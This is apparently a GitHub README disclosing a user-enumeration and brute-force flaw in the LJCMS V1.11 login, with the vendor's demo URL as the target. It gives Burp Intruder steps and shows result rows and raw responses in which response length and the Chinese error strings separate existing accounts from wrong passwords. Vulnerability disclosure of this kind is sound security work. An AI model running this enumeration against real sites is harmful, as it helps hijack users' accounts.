

master

Go to file

wind-cyber Update README.md ...

on Nov 13, 2019 6

View code

README.md

# LJCMS-UserTraversal-Vulnerability

LJCMS V1.11 demourl (<http://demo.8cms.com/index.php?c=guestbook>) In the user login box Sign in now without a verification code and prompt that the user does not exist, which makes it easier for remote attackers to hijack accounts via a brute-force approach.

VulnerabilityType: logical Vulnerability

Vendor of Product <http://www.8cms.com/>

Affected Product version LJCMS V1.11

Affected Component affected page is the <http://demo.8cms.com/index.php?c=guestbook>

\u8d26\u53f7\u4e0d\u5b58\u5728 = Account does not exist \u5bc6\u7801\u9519\u8bef = wrong password

Capture the packet in burp to truncate the current request the current data packet sent to the intruder module, identification "username" used to traverse account information; Select the dictionary for the account name to open the attack

39452	ChenDongXu	...	200			419
-------	------------	-----	-----	--	--	-----

Request		Response	
Raw	Headers	Hex	

Pragma: no-cache  
Connection: close  
Content-Type: text/html; charset=utf-8  
Content-Length: 59

{ "response": 0, "result": "\u8d26\u53f7\u4e0d\u5b58\u5728" }

211	AiDongXiu	...	200			419
212	AiDongXue	...	200			419
213	AiDongYang	...	200			419
214	AiDongYe		200			419
215	111111		200			413
216	11111		200			413
217	1111		200			419
218	111		200			413
219	11		200			419
220	1		200			419

218	111	200			413
219	11	200			419
220	1	200			419

Request		Response	
Raw	Headers	Hex	

Pragma: no-cache  
Connection: close  
Content-Type: text/html; charset=utf-8  
Content-Length: 53

{ "response": 0, "result": "\u5bc6\u7801\u9519\u8bef" }

Releases

No releases published

Packages

No packages published